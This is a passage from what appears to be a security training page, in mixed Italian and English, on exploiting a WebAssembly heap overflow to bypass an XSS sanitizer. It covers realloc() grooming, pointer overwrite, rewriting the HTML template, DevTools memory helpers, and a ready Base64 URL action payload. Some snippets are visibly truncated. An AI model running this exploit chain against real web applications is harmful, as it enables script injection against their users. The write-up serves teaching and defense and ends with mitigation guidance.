" che risiede in linear memory. L'HTML restituito finisce in un DOM sink (es., innerHTML). + +Allocator grooming with realloc() +```c +int add_msg_to_stuff(stuff *s, msg new_msg) { +if (s->size >= s->capacity) { +s->capacity *= 2; +s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg)); +if (s->mess == NULL) exit(1); +} +s->mess[s->size++] = new_msg; +return s->size - 1; +} +``` +- Invia sufficienti messaggi per superare la capacità iniziale. Dopo l'espansione, realloc() spesso posiziona s->mess immediatamente dopo l'ultimo user buffer in linear memory. +- Overflow the last message via editMsg() per sovrascrivere campi dentro s->mess (e.g., overwrite msg_data pointers) → riscrittura arbitraria di puntatori nella linear memory per dati poi renderizzati. + +Exploit pivot: sovrascrivere il HTML template (sink) invece della sorgente sanitizzata +- La sanitizzazione protegge l'input, non i sink. Trova il formato stub usato da populateMsgHTML(), e.g.: +- "

%.*s

" → change to "" +- Localizza il stub in modo deterministico scansionando la linear memory; è una stringa di byte semplice all'interno di Module.HEAPU8. +- Dopo aver sovrascritto il stub, il contenuto del messaggio sanitizzato diventa il JavaScript handler per onerror, quindi aggiungere un nuovo messaggio con testo come alert(1337) produce ed esegue immediatamente nel DOM. + +Chrome DevTools workflow (Emscripten glue) +- Interrompi al primo Module.cwrap call nel JS glue e entra nel wasm call site per catturare gli argomenti puntatore (offset numerici nella linear memory). +- Usa typed views come Module.HEAPU8 per leggere/scrivere la memoria WASM dalla console. +- Snippet di aiuto: +```javascript +function writeBytes(ptr, byteArray){ +if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers"); +for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`); +HEAPU8[ptr+i]=byte; +} +} +function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); } +function readBytesAsChars(ptr,len){ +const bytes=HEAPU8.subarray(ptr,ptr+len); +return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join(''); +} +function searchWasmMemory(str){ +const mem=Module.HEAPU8, pat=new TextEncoder().encode(str); +for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int +``` +End-to-end exploitation recipe +1) Groom: aggiungi N piccoli messaggi per provocare realloc(). Ensure s->mess is adjacent to a user buffer. +2) Overflow: chiama editMsg() sull'ultimo messaggio con un payload più lungo per sovrascrivere una voce in s->mess, impostando msg_data del messaggio 0 per puntare a (stub_addr + 1). The +1 salta il '<' iniziale per mantenere l'allineamento del tag intatto durante la modifica successiva. +3) Template rewrite: modifica il messaggio 0 in modo che i suoi byte sovrascrivano il template con: "img src=1 onerror=%.*s ". +4) Trigger XSS: aggiungi un nuovo messaggio il cui contenuto sanificato è JavaScript, e.g., alert(1337). Rendering emette ed esegue. + +Example action list to serialize and place in ?s= (Base64-encode with btoa before use) +```json +[ +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080}, +{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080}, +{"action":"add","content":"alert(1337)","time":1756840476392} +] +``` +Perché questo bypass funziona +- WASM impedisce l'esecuzione di codice dalla linear memory, ma i dati costanti dentro la linear memory sono scrivibili se la logica del programma è buggy. +- The sanitizer only protects the source string; corrompendo il sink (il HTML template), l'input sanitized diventa il valore dell'handler JS e viene eseguito quando inserito nel DOM. +- L'adiacenza causata da realloc() insieme a memcpy non verificato nei flow di edit permette la corruzione di puntatori per reindirizzare le scritture a indirizzi scelti dall'attaccante all'interno della linear memory. + +Generalization and other attack surface +- Qualsiasi in-memory HTML template, JSON skeleton o URL pattern incorporato nella linear memory può essere preso di mira per cambiare come i dati sanitizzati vengono interpretati a valle. +- Altri comuni pitfall di WASM: out-of-bounds writes/reads nella linear memory, UAF su heap objects, uso improprio della function-table con unchecked indirect call indices e mismatch nella glue JS↔WASM. + +Defensive guidance +- Nei percorsi di edit, verificare new length ≤ capacity; ridimensionare i buffer prima della copia (realloc a new_len) oppure usare API con limite di dimensione (snprintf/strlcpy) e tracciare la capacity. +- Tenere immutable templates fuori dalla writable linear memory o verificarne l'integrità prima dell'uso. +- Trattare i confini JS↔WASM come non affidabili: validare pointer ranges/lengths, fuzzare le interfacce esportate e limitare la crescita della memoria. +- Sanitize at the sink: evitare di costruire HTML in WASM; preferire safe DOM APIs rispetto a innerHTML-style templating. +- Evitare di fidarsi dello stato incorporato nelle URL per flussi privilegiati. + +## References +- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/) +- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline) +- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff) +- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t) +- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/) + +{{#include ../../banners/hacktricks-training.md}}